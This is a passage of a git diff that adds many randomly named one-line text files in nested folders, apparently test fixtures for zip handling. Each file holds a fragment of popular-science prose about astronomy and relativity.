+speed limit. Otherwise, you could get to any speed you wanted by adding velocities on a
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_ovvezqltve/pfqnjfetn.txt b/big_zip/big-zip-files/folder_ovvezqltve/pfqnjfetn.txt
new file mode 100644
index 0000000..77921b2
--- /dev/null
+++ b/big_zip/big-zip-files/folder_ovvezqltve/pfqnjfetn.txt
@@ -0,0 +1 @@
+suggestion, he had just invited Kepler, whose mathematical fame was growing, to join him
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_ovvezqltve/udldfgtqtotwpykgbbllrunc.txt b/big_zip/big-zip-files/folder_ovvezqltve/udldfgtqtotwpykgbbllrunc.txt
new file mode 100644
index 0000000..3c3a7ca
--- /dev/null
+++ b/big_zip/big-zip-files/folder_ovvezqltve/udldfgtqtotwpykgbbllrunc.txt
@@ -0,0 +1 @@
+possible, with the development of videotape and video-disc technology, for television.
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_ovvezqltve/vdqcrkvpxe.txt b/big_zip/big-zip-files/folder_ovvezqltve/vdqcrkvpxe.txt
new file mode 100644
index 0000000..4f1c594
--- /dev/null
+++ b/big_zip/big-zip-files/folder_ovvezqltve/vdqcrkvpxe.txt
@@ -0,0 +1 @@
+sides of the beam and therefore appear poorly reflective, or radar-dark. A very soft place
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_oytxufxiii/file_hftnyntfwwwatcdy.txt b/big_zip/big-zip-files/folder_oytxufxiii/file_hftnyntfwwwatcdy.txt
new file mode 100644
index 0000000..d89da8e
--- /dev/null
+++ b/big_zip/big-zip-files/folder_oytxufxiii/file_hftnyntfwwwatcdy.txt
@@ -0,0 +1 @@
+beach reminds us of space. Fine sand grains, all more or less uniform in size, have been
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_oytxufxiii/file_ikdcwptiotqigtpnemht.txt b/big_zip/big-zip-files/folder_oytxufxiii/file_ikdcwptiotqigtpnemht.txt
new file mode 100644
index 0000000..d89da8e
--- /dev/null
+++ b/big_zip/big-zip-files/folder_oytxufxiii/file_ikdcwptiotqigtpnemht.txt
@@ -0,0 +1 @@
+beach reminds us of space. Fine sand grains, all more or less uniform in size, have been
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_oytxufxiii/file_koxgztlsjojlvrbgdvpbbi.txt b/big_zip/big-zip-files/folder_oytxufxiii/file_koxgztlsjojlvrbgdvpbbi.txt
new file mode 100644
index 0000000..d89da8e
--- /dev/null
+++ b/big_zip/big-zip-files/folder_oytxufxiii/file_koxgztlsjojlvrbgdvpbbi.txt
@@ -0,0 +1 @@
+beach reminds us of space. Fine sand grains, all more or less uniform in size, have been
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_oytxufxiii/file_ljcawncqquavabakucicqdva.txt b/big_zip/big-zip-files/folder_oytxufxiii/file_ljcawncqquavabakucicqdva.txt
new file mode 100644
index 0000000..d89da8e
--- /dev/null
+++ b/big_zip/big-zip-files/folder_oytxufxiii/file_ljcawncqquavabakucicqdva.txt
@@ -0,0 +1 @@
+beach reminds us of space. Fine sand grains, all more or less uniform in size, have been
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_oytxufxiii/file_nyrezcrfkgrcawp.txt b/big_zip/big-zip-files/folder_oytxufxiii/file_nyrezcrfkgrcawp.txt
new file mode 100644
index 0000000..d89da8e
--- /dev/null
+++ b/big_zip/big-zip-files/folder_oytxufxiii/file_nyrezcrfkgrcawp.txt
@@ -0,0 +1 @@
+beach reminds us of space. Fine sand grains, all more or less uniform in size, have been
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_oytxufxiii/file_otumsukjqfeejwfxcgf.txt b/big_zip/big-zip-files/folder_oytxufxiii/file_otumsukjqfeejwfxcgf.txt
new file mode 100644
index 0000000..d89da8e
--- /dev/null
+++ b/big_zip/big-zip-files/folder_oytxufxiii/file_otumsukjqfeejwfxcgf.txt
@@ -0,0 +1 @@
+beach reminds us of space. Fine sand grains, all more or less uniform in size, have been
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_oytxufxiii/file_qlzvqruhhrmjnzpdhohv.txt b/big_zip/big-zip-files/folder_oytxufxiii/file_qlzvqruhhrmjnzpdhohv.txt
new file mode 100644
index 0000000..d89da8e
--- /dev/null
+++ b/big_zip/big-zip-files/folder_oytxufxiii/file_qlzvqruhhrmjnzpdhohv.txt
@@ -0,0 +1 @@
+beach reminds us of space. Fine sand grains, all more or less uniform in size, have been
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_oytxufxiii/file_rnwdqrpvmzkoxxl.txt b/big_zip/big-zip-files/folder_oytxufxiii/file_rnwdqrpvmzkoxxl.txt
new file mode 100644
index 0000000..d89da8e
--- /dev/null
+++ b/big_zip/big-zip-files/folder_oytxufxiii/file_rnwdqrpvmzkoxxl.txt
@@ -0,0 +1 @@
+beach reminds us of space. Fine sand grains, all more or less uniform in size, have been
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_oytxufxiii/file_rrlzgyqvnpyqymjwc.txt b/big_zip/big-zip-files/folder_oytxufxiii/file_rrlzgyqvnpyqymjwc.txt
new file mode 100644
index 0000000..d89da8e
--- /dev/null
+++ b/big_zip/big-zip-files/folder_oytxufxiii/file_rrlzgyqvnpyqymjwc.txt
@@ -0,0 +1 @@
+beach reminds us of space. Fine sand grains, all more or less uniform in size, have been
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_oytxufxiii/file_ruhdbrczspkvfs.txt b/big_zip/big-zip-files/folder_oytxufxiii/file_ruhdbrczspkvfs.txt
new file mode 100644
index 0000000..d89da8e
--- /dev/null
+++ b/big_zip/big-zip-files/folder_oytxufxiii/file_ruhdbrczspkvfs.txt
@@ -0,0 +1 @@
+beach reminds us of space. Fine sand grains, all more or less uniform in size, have been
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_oytxufxiii/file_siujrpffm.txt b/big_zip/big-zip-files/folder_oytxufxiii/file_siujrpffm.txt
new file mode 100644
index 0000000..d89da8e
--- /dev/null
+++ b/big_zip/big-zip-files/folder_oytxufxiii/file_siujrpffm.txt
@@ -0,0 +1 @@
+beach reminds us of space. Fine sand grains, all more or less uniform in size, have been
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_oytxufxiii/file_utpyzecdktqnrxffmszuig.txt b/big_zip/big-zip-files/folder_oytxufxiii/file_utpyzecdktqnrxffmszuig.txt
new file mode 100644
index 0000000..d89da8e
--- /dev/null
+++ b/big_zip/big-zip-files/folder_oytxufxiii/file_utpyzecdktqnrxffmszuig.txt
@@ -0,0 +1 @@
+beach reminds us of space. Fine sand grains, all more or less uniform in size, have been
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_oytxufxiii/file_vqhgalprutrom.txt b/big_zip/big-zip-files/folder_oytxufxiii/file_vqhgalprutrom.txt
new file mode 100644
index 0000000..d89da8e
--- /dev/null
+++ b/big_zip/big-zip-files/folder_oytxufxiii/file_vqhgalprutrom.txt
@@ -0,0 +1 @@
+beach reminds us of space. Fine sand grains, all more or less uniform in size, have been
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_oytxufxiii/file_wdzxcuwhcoaepzhhsndfik.txt b/big_zip/big-zip-files/folder_oytxufxiii/file_wdzxcuwhcoaepzhhsndfik.txt
new file mode 100644
index 0000000..d89da8e
--- /dev/null
+++ b/big_zip/big-zip-files/folder_oytxufxiii/file_wdzxcuwhcoaepzhhsndfik.txt
@@ -0,0 +1 @@
+beach reminds us of space. Fine sand grains, all more or less uniform in size, have been
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_oytxufxiii/file_zkskmdmygvg.txt b/big_zip/big-zip-files/folder_oytxufxiii/file_zkskmdmygvg.txt
new file mode 100644
index 0000000..d89da8e
--- /dev/null
+++ b/big_zip/big-zip-files/folder_oytxufxiii/file_zkskmdmygvg.txt
@@ -0,0 +1 @@
+beach reminds us of space. Fine sand grains, all more or less uniform in size, have been
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_oytxufxiii/folder_ugefrcgbjo/file_gbywajxh.txt b/big_zip/big-zip-files/folder_oytxufxiii/folder_ugefrcgbjo/file_gbywajxh.txt
new file mode 100644
index 0000000..7bd02ec
--- /dev/null
+++ b/big_zip/big-zip-files/folder_oytxufxiii/folder_ugefrcgbjo/file_gbywajxh.txt
@@ -0,0 +1 @@
+particles, the featureless remnants of worlds.
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_oytxufxiii/folder_ugefrcgbjo/file_giowtsxpx.txt b/big_zip/big-zip-files/folder_oytxufxiii/folder_ugefrcgbjo/file_giowtsxpx.txt
new file mode 100644
index 0000000..7bd02ec
--- /dev/null
+++ b/big_zip/big-zip-files/folder_oytxufxiii/folder_ugefrcgbjo/file_giowtsxpx.txt
@@ -0,0 +1 @@
+particles, the featureless remnants of worlds.
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_oytxufxiii/folder_ugefrcgbjo/file_guxmblzka.txt b/big_zip/big-zip-files/folder_oytxufxiii/folder_ugefrcgbjo/file_guxmblzka.txt
new file mode 100644
index 0000000..7bd02ec
--- /dev/null
+++ b/big_zip/big-zip-files/folder_oytxufxiii/folder_ugefrcgbjo/file_guxmblzka.txt
@@ -0,0 +1 @@
+particles, the featureless remnants of worlds.
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_oytxufxiii/folder_ugefrcgbjo/file_itujsocguueiutolu.txt b/big_zip/big-zip-files/folder_oytxufxiii/folder_ugefrcgbjo/file_itujsocguueiutolu.txt
new file mode 100644
index 0000000..7bd02ec
--- /dev/null
+++ b/big_zip/big-zip-files/folder_oytxufxiii/folder_ugefrcgbjo/file_itujsocguueiutolu.txt
@@ -0,0 +1 @@
+particles, the featureless remnants of worlds.
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_oytxufxiii/folder_ugefrcgbjo/file_kwckmkidcurrmxjjaxmvbobd.txt b/big_zip/big-zip-files/folder_oytxufxiii/folder_ugefrcgbjo/file_kwckmkidcurrmxjjaxmvbobd.txt
new file mode 100644
index 0000000..7bd02ec
--- /dev/null
+++ b/big_zip/big-zip-files/folder_oytxufxiii/folder_ugefrcgbjo/file_kwckmkidcurrmxjjaxmvbobd.txt
@@ -0,0 +1 @@
+particles, the featureless remnants of worlds.
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_oytxufxiii/folder_ugefrcgbjo/file_lzkoexqxbrjpk.txt b/big_zip/big-zip-files/folder_oytxufxiii/folder_ugefrcgbjo/file_lzkoexqxbrjpk.txt
new file mode 100644
index 0000000..7bd02ec
--- /dev/null
+++ b/big_zip/big-zip-files/folder_oytxufxiii/folder_ugefrcgbjo/file_lzkoexqxbrjpk.txt
@@ -0,0 +1 @@
+particles, the featureless remnants of worlds.
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_oytxufxiii/folder_ugefrcgbjo/file_nfkcpabksnrcjbcshehnsym.txt b/big_zip/big-zip-files/folder_oytxufxiii/folder_ugefrcgbjo/file_nfkcpabksnrcjbcshehnsym.txt
new file mode 100644
index 0000000..7bd02ec
--- /dev/null
+++ b/big_zip/big-zip-files/folder_oytxufxiii/folder_ugefrcgbjo/file_nfkcpabksnrcjbcshehnsym.txt
@@ -0,0 +1 @@
+particles, the featureless remnants of worlds.
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_oytxufxiii/folder_ugefrcgbjo/file_nvzygngm.txt b/big_zip/big-zip-files/folder_oytxufxiii/folder_ugefrcgbjo/file_nvzygngm.txt
new file mode 100644
index 0000000..7bd02ec
--- /dev/null
+++ b/big_zip/big-zip-files/folder_oytxufxiii/folder_ugefrcgbjo/file_nvzygngm.txt
@@ -0,0 +1 @@
+particles, the featureless remnants of worlds.
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_oytxufxiii/folder_ugefrcgbjo/file_omjjubjvzg.txt b/big_zip/big-zip-files/folder_oytxufxiii/folder_ugefrcgbjo/file_omjjubjvzg.txt
new file mode 100644
index 0000000..7bd02ec
--- /dev/null
+++ b/big_zip/big-zip-files/folder_oytxufxiii/folder_ugefrcgbjo/file_omjjubjvzg.txt
@@ -0,0 +1 @@
+particles, the featureless remnants of worlds.
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_oytxufxiii/folder_ugefrcgbjo/file_qmyurtorhdeqmouhuxctsjy.txt b/big_zip/big-zip-files/folder_oytxufxiii/folder_ugefrcgbjo/file_qmyurtorhdeqmouhuxctsjy.txt
new file mode 100644
index 0000000..7bd02ec
--- /dev/null
+++ b/big_zip/big-zip-files/folder_oytxufxiii/folder_ugefrcgbjo/file_qmyurtorhdeqmouhuxctsjy.txt
@@ -0,0 +1 @@
+particles, the featureless remnants of worlds.
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_oytxufxiii/folder_ugefrcgbjo/file_rbpckbdtkoofcaelcvd.txt b/big_zip/big-zip-files/folder_oytxufxiii/folder_ugefrcgbjo/file_rbpckbdtkoofcaelcvd.txt
new file mode 100644
index 0000000..7bd02ec
--- /dev/null
+++ b/big_zip/big-zip-files/folder_oytxufxiii/folder_ugefrcgbjo/file_rbpckbdtkoofcaelcvd.txt
@@ -0,0 +1 @@
+particles, the featureless remnants of worlds.
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_oytxufxiii/folder_ugefrcgbjo/file_uhizlubxqsjbijeddoco.txt b/big_zip/big-zip-files/folder_oytxufxiii/folder_ugefrcgbjo/file_uhizlubxqsjbijeddoco.txt
new file mode 100644
index 0000000..7bd02ec
--- /dev/null
+++ b/big_zip/big-zip-files/folder_oytxufxiii/folder_ugefrcgbjo/file_uhizlubxqsjbijeddoco.txt
@@ -0,0 +1 @@
+particles, the featureless remnants of worlds.
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_oytxufxiii/folder_ugefrcgbjo/file_xogdamtbhdvofuav.txt b/big_zip/big-zip-files/folder_oytxufxiii/folder_ugefrcgbjo/file_xogdamtbhdvofuav.txt
new file mode 100644
index 0000000..7bd02ec
--- /dev/null
+++ b/big_zip/big-zip-files/folder_oytxufxiii/folder_ugefrcgbjo/file_xogdamtbhdvofuav.txt
@@ -0,0 +1 @@
+particles, the featureless remnants of worlds.
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_oytxufxiii/folder_ugefrcgbjo/file_ykeykhsyntvbksvssthaw.txt b/big_zip/big-zip-files/folder_oytxufxiii/folder_ugefrcgbjo/file_ykeykhsyntvbksvssthaw.txt
new file mode 100644
index 0000000..7bd02ec
--- /dev/null
+++ b/big_zip/big-zip-files/folder_oytxufxiii/folder_ugefrcgbjo/file_ykeykhsyntvbksvssthaw.txt
@@ -0,0 +1 @@
+particles, the featureless remnants of worlds.
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_oytxufxiii/folder_ugefrcgbjo/file_yvtcpgvlywmcnaytyyepxwps.txt b/big_zip/big-zip-files/folder_oytxufxiii/folder_ugefrcgbjo/file_yvtcpgvlywmcnaytyyepxwps.txt
new file mode 100644
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diff --git a/big_zip/big-zip-files/folder_oytxufxiii/folder_ugefrcgbjo/file_zgvxrtgimcmasavbw.txt b/big_zip/big-zip-files/folder_oytxufxiii/folder_ugefrcgbjo/file_zgvxrtgimcmasavbw.txt
new file mode 100644
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diff --git a/big_zip/big-zip-files/folder_oytxufxiii/folder_ugefrcgbjo/file_zsunpjhrgirdyvdc.txt b/big_zip/big-zip-files/folder_oytxufxiii/folder_ugefrcgbjo/file_zsunpjhrgirdyvdc.txt
new file mode 100644
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diff --git a/big_zip/big-zip-files/folder_oytxufxiii/folder_ugefrcgbjo/folder_aykgaggxyv/file_evbnozfekolfut.txt b/big_zip/big-zip-files/folder_oytxufxiii/folder_ugefrcgbjo/folder_aykgaggxyv/file_evbnozfekolfut.txt
new file mode 100644
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new file mode 100644
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+++ b/big_zip/big-zip-files/folder_oytxufxiii/folder_ugefrcgbjo/folder_aykgaggxyv/file_gafxwgxgsrdgpeu.txt
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+++ b/big_zip/big-zip-files/folder_oytxufxiii/folder_ugefrcgbjo/folder_aykgaggxyv/file_gdlkidezcnwqsm.txt
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+your relativistic journey, what a difference there would be between your friends and you,
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new file mode 100644
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diff --git a/big_zip/big-zip-files/folder_oytxufxiii/folder_ugefrcgbjo/folder_aykgaggxyv/file_mbohhuyfvky.txt b/big_zip/big-zip-files/folder_oytxufxiii/folder_ugefrcgbjo/folder_aykgaggxyv/file_mbohhuyfvky.txt
new file mode 100644
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+++ b/big_zip/big-zip-files/folder_oytxufxiii/folder_ugefrcgbjo/folder_aykgaggxyv/file_mbohhuyfvky.txt
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+your relativistic journey, what a difference there would be between your friends and you,
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new file mode 100644
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+++ b/big_zip/big-zip-files/folder_oytxufxiii/folder_ugefrcgbjo/folder_aykgaggxyv/file_mlaqrywdluly.txt
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new file mode 100644
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diff --git a/big_zip/big-zip-files/folder_oytxufxiii/folder_ugefrcgbjo/folder_aykgaggxyv/file_ojxhdducnwcyxzwv.txt b/big_zip/big-zip-files/folder_oytxufxiii/folder_ugefrcgbjo/folder_aykgaggxyv/file_ojxhdducnwcyxzwv.txt
new file mode 100644
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+++ b/big_zip/big-zip-files/folder_oytxufxiii/folder_ugefrcgbjo/folder_aykgaggxyv/file_ojxhdducnwcyxzwv.txt
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+your relativistic journey, what a difference there would be between your friends and you,
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diff --git a/big_zip/big-zip-files/folder_oytxufxiii/folder_ugefrcgbjo/folder_aykgaggxyv/file_rddnhqgvnjutla.txt b/big_zip/big-zip-files/folder_oytxufxiii/folder_ugefrcgbjo/folder_aykgaggxyv/file_rddnhqgvnjutla.txt
new file mode 100644
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+++ b/big_zip/big-zip-files/folder_oytxufxiii/folder_ugefrcgbjo/folder_aykgaggxyv/file_rddnhqgvnjutla.txt
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+your relativistic journey, what a difference there would be between your friends and you,
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_oytxufxiii/folder_ugefrcgbjo/folder_aykgaggxyv/file_rmplqyuyyf.txt b/big_zip/big-zip-files/folder_oytxufxiii/folder_ugefrcgbjo/folder_aykgaggxyv/file_rmplqyuyyf.txt
new file mode 100644
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+++ b/big_zip/big-zip-files/folder_oytxufxiii/folder_ugefrcgbjo/folder_aykgaggxyv/file_rmplqyuyyf.txt
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+your relativistic journey, what a difference there would be between your friends and you,
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_oytxufxiii/folder_ugefrcgbjo/folder_aykgaggxyv/file_twcqbocprghvwt.txt b/big_zip/big-zip-files/folder_oytxufxiii/folder_ugefrcgbjo/folder_aykgaggxyv/file_twcqbocprghvwt.txt
new file mode 100644
index 0000000..dc5cea5
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+++ b/big_zip/big-zip-files/folder_oytxufxiii/folder_ugefrcgbjo/folder_aykgaggxyv/file_twcqbocprghvwt.txt
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+your relativistic journey, what a difference there would be between your friends and you,
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diff --git a/big_zip/big-zip-files/folder_oytxufxiii/folder_ugefrcgbjo/folder_aykgaggxyv/file_uudznjwipi.txt b/big_zip/big-zip-files/folder_oytxufxiii/folder_ugefrcgbjo/folder_aykgaggxyv/file_uudznjwipi.txt
new file mode 100644
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+++ b/big_zip/big-zip-files/folder_oytxufxiii/folder_ugefrcgbjo/folder_aykgaggxyv/file_uudznjwipi.txt
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+your relativistic journey, what a difference there would be between your friends and you,
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_oytxufxiii/folder_ugefrcgbjo/folder_aykgaggxyv/file_vsosttwttsisahwlgqn.txt b/big_zip/big-zip-files/folder_oytxufxiii/folder_ugefrcgbjo/folder_aykgaggxyv/file_vsosttwttsisahwlgqn.txt
new file mode 100644
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+++ b/big_zip/big-zip-files/folder_oytxufxiii/folder_ugefrcgbjo/folder_aykgaggxyv/file_vsosttwttsisahwlgqn.txt
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+your relativistic journey, what a difference there would be between your friends and you,
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diff --git a/big_zip/big-zip-files/folder_oytxufxiii/folder_ugefrcgbjo/folder_aykgaggxyv/file_vtubwdbf.txt b/big_zip/big-zip-files/folder_oytxufxiii/folder_ugefrcgbjo/folder_aykgaggxyv/file_vtubwdbf.txt
new file mode 100644
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+++ b/big_zip/big-zip-files/folder_oytxufxiii/folder_ugefrcgbjo/folder_aykgaggxyv/file_vtubwdbf.txt
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+your relativistic journey, what a difference there would be between your friends and you,
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_oytxufxiii/folder_ugefrcgbjo/folder_aykgaggxyv/file_wgsspyswc.txt b/big_zip/big-zip-files/folder_oytxufxiii/folder_ugefrcgbjo/folder_aykgaggxyv/file_wgsspyswc.txt
new file mode 100644
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+your relativistic journey, what a difference there would be between your friends and you,
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_oytxufxiii/folder_ugefrcgbjo/folder_aykgaggxyv/folder_dheabqgsed/aanwbjuldezvi.txt b/big_zip/big-zip-files/folder_oytxufxiii/folder_ugefrcgbjo/folder_aykgaggxyv/folder_dheabqgsed/aanwbjuldezvi.txt
new file mode 100644
index 0000000..0d7b43e
--- /dev/null
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+over the world, are human. Of course, such steps are difficult. But as Einstein many times
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_oytxufxiii/folder_ugefrcgbjo/folder_aykgaggxyv/folder_dheabqgsed/abygywkf.txt b/big_zip/big-zip-files/folder_oytxufxiii/folder_ugefrcgbjo/folder_aykgaggxyv/folder_dheabqgsed/abygywkf.txt
new file mode 100644
index 0000000..887de38
--- /dev/null
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@@ -0,0 +1 @@
+powerful; the welfare of our civilization and our species is in our hands. If we do not speak
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_oytxufxiii/folder_ugefrcgbjo/folder_aykgaggxyv/folder_dheabqgsed/elzspzcgdviozoeaaszmn.txt b/big_zip/big-zip-files/folder_oytxufxiii/folder_ugefrcgbjo/folder_aykgaggxyv/folder_dheabqgsed/elzspzcgdviozoeaaszmn.txt
new file mode 100644
index 0000000..1264430
--- /dev/null
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+they imploringly cried and screamed, calling for their parents. But every single
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_oytxufxiii/folder_ugefrcgbjo/folder_aykgaggxyv/folder_dheabqgsed/ewpnesfbft.txt b/big_zip/big-zip-files/folder_oytxufxiii/folder_ugefrcgbjo/folder_aykgaggxyv/folder_dheabqgsed/ewpnesfbft.txt
new file mode 100644
index 0000000..a3efe59
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+glows when it is brought to red heat. Anaxagoras was at least partly right. Violent solar
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_oytxufxiii/folder_ugefrcgbjo/folder_aykgaggxyv/folder_dheabqgsed/exxoemshnsowdc.txt b/big_zip/big-zip-files/folder_oytxufxiii/folder_ugefrcgbjo/folder_aykgaggxyv/folder_dheabqgsed/exxoemshnsowdc.txt
new file mode 100644
index 0000000..2d196e4
--- /dev/null
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+surface and then slowly withdraw it into the innards of the spacecraft, transporting the
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_oytxufxiii/folder_ugefrcgbjo/folder_aykgaggxyv/folder_dheabqgsed/file_cwxupgwwszg.txt b/big_zip/big-zip-files/folder_oytxufxiii/folder_ugefrcgbjo/folder_aykgaggxyv/folder_dheabqgsed/file_cwxupgwwszg.txt
new file mode 100644
index 0000000..9478c31
--- /dev/null
+++ b/big_zip/big-zip-files/folder_oytxufxiii/folder_ugefrcgbjo/folder_aykgaggxyv/folder_dheabqgsed/file_cwxupgwwszg.txt
@@ -0,0 +1 @@
+- The Popol Vuh of the Quiché Maya
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_oytxufxiii/folder_ugefrcgbjo/folder_aykgaggxyv/folder_dheabqgsed/file_ghhstsqxxlmddngjel.txt b/big_zip/big-zip-files/folder_oytxufxiii/folder_ugefrcgbjo/folder_aykgaggxyv/folder_dheabqgsed/file_ghhstsqxxlmddngjel.txt
new file mode 100644
index 0000000..9478c31
--- /dev/null
+++ b/big_zip/big-zip-files/folder_oytxufxiii/folder_ugefrcgbjo/folder_aykgaggxyv/folder_dheabqgsed/file_ghhstsqxxlmddngjel.txt
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+- The Popol Vuh of the Quiché Maya
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_oytxufxiii/folder_ugefrcgbjo/folder_aykgaggxyv/folder_dheabqgsed/file_htjwlczdubxcroc.txt b/big_zip/big-zip-files/folder_oytxufxiii/folder_ugefrcgbjo/folder_aykgaggxyv/folder_dheabqgsed/file_htjwlczdubxcroc.txt
new file mode 100644
index 0000000..9478c31
--- /dev/null
+++ b/big_zip/big-zip-files/folder_oytxufxiii/folder_ugefrcgbjo/folder_aykgaggxyv/folder_dheabqgsed/file_htjwlczdubxcroc.txt
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+- The Popol Vuh of the Quiché Maya
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_oytxufxiii/folder_ugefrcgbjo/folder_aykgaggxyv/folder_dheabqgsed/file_idwfwfqcxhmukwam.txt b/big_zip/big-zip-files/folder_oytxufxiii/folder_ugefrcgbjo/folder_aykgaggxyv/folder_dheabqgsed/file_idwfwfqcxhmukwam.txt
new file mode 100644
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--- /dev/null
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+- The Popol Vuh of the Quiché Maya
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_oytxufxiii/folder_ugefrcgbjo/folder_aykgaggxyv/folder_dheabqgsed/file_iskkxshlv.txt b/big_zip/big-zip-files/folder_oytxufxiii/folder_ugefrcgbjo/folder_aykgaggxyv/folder_dheabqgsed/file_iskkxshlv.txt
new file mode 100644
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+- The Popol Vuh of the Quiché Maya
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_oytxufxiii/folder_ugefrcgbjo/folder_aykgaggxyv/folder_dheabqgsed/file_ldhllvwmhtre.txt b/big_zip/big-zip-files/folder_oytxufxiii/folder_ugefrcgbjo/folder_aykgaggxyv/folder_dheabqgsed/file_ldhllvwmhtre.txt
new file mode 100644
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--- /dev/null
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+- The Popol Vuh of the Quiché Maya
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_oytxufxiii/folder_ugefrcgbjo/folder_aykgaggxyv/folder_dheabqgsed/file_lhtuosbqlkzghta.txt b/big_zip/big-zip-files/folder_oytxufxiii/folder_ugefrcgbjo/folder_aykgaggxyv/folder_dheabqgsed/file_lhtuosbqlkzghta.txt
new file mode 100644
index 0000000..9478c31
--- /dev/null
+++ b/big_zip/big-zip-files/folder_oytxufxiii/folder_ugefrcgbjo/folder_aykgaggxyv/folder_dheabqgsed/file_lhtuosbqlkzghta.txt
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+- The Popol Vuh of the Quiché Maya
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_oytxufxiii/folder_ugefrcgbjo/folder_aykgaggxyv/folder_dheabqgsed/file_lpauvvpqrivpsjb.txt b/big_zip/big-zip-files/folder_oytxufxiii/folder_ugefrcgbjo/folder_aykgaggxyv/folder_dheabqgsed/file_lpauvvpqrivpsjb.txt
new file mode 100644
index 0000000..9478c31
--- /dev/null
+++ b/big_zip/big-zip-files/folder_oytxufxiii/folder_ugefrcgbjo/folder_aykgaggxyv/folder_dheabqgsed/file_lpauvvpqrivpsjb.txt
@@ -0,0 +1 @@
+- The Popol Vuh of the Quiché Maya
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_oytxufxiii/folder_ugefrcgbjo/folder_aykgaggxyv/folder_dheabqgsed/file_lwjhnmiehhdgxiqpqdqebeew.txt b/big_zip/big-zip-files/folder_oytxufxiii/folder_ugefrcgbjo/folder_aykgaggxyv/folder_dheabqgsed/file_lwjhnmiehhdgxiqpqdqebeew.txt
new file mode 100644
index 0000000..9478c31
--- /dev/null
+++ b/big_zip/big-zip-files/folder_oytxufxiii/folder_ugefrcgbjo/folder_aykgaggxyv/folder_dheabqgsed/file_lwjhnmiehhdgxiqpqdqebeew.txt
@@ -0,0 +1 @@
+- The Popol Vuh of the Quiché Maya
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_oytxufxiii/folder_ugefrcgbjo/folder_aykgaggxyv/folder_dheabqgsed/file_mcxjyihovxsjxm.txt b/big_zip/big-zip-files/folder_oytxufxiii/folder_ugefrcgbjo/folder_aykgaggxyv/folder_dheabqgsed/file_mcxjyihovxsjxm.txt
new file mode 100644
index 0000000..9478c31
--- /dev/null
+++ b/big_zip/big-zip-files/folder_oytxufxiii/folder_ugefrcgbjo/folder_aykgaggxyv/folder_dheabqgsed/file_mcxjyihovxsjxm.txt
@@ -0,0 +1 @@
+- The Popol Vuh of the Quiché Maya
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_oytxufxiii/folder_ugefrcgbjo/folder_aykgaggxyv/folder_dheabqgsed/file_olpjyrxeneiv.txt b/big_zip/big-zip-files/folder_oytxufxiii/folder_ugefrcgbjo/folder_aykgaggxyv/folder_dheabqgsed/file_olpjyrxeneiv.txt
new file mode 100644
index 0000000..9478c31
--- /dev/null
+++ b/big_zip/big-zip-files/folder_oytxufxiii/folder_ugefrcgbjo/folder_aykgaggxyv/folder_dheabqgsed/file_olpjyrxeneiv.txt
@@ -0,0 +1 @@
+- The Popol Vuh of the Quiché Maya
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_oytxufxiii/folder_ugefrcgbjo/folder_aykgaggxyv/folder_dheabqgsed/file_pjnesrculunvxq.txt b/big_zip/big-zip-files/folder_oytxufxiii/folder_ugefrcgbjo/folder_aykgaggxyv/folder_dheabqgsed/file_pjnesrculunvxq.txt
new file mode 100644
index 0000000..9478c31
--- /dev/null
+++ b/big_zip/big-zip-files/folder_oytxufxiii/folder_ugefrcgbjo/folder_aykgaggxyv/folder_dheabqgsed/file_pjnesrculunvxq.txt
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+- The Popol Vuh of the Quiché Maya
\ No newline at end of file
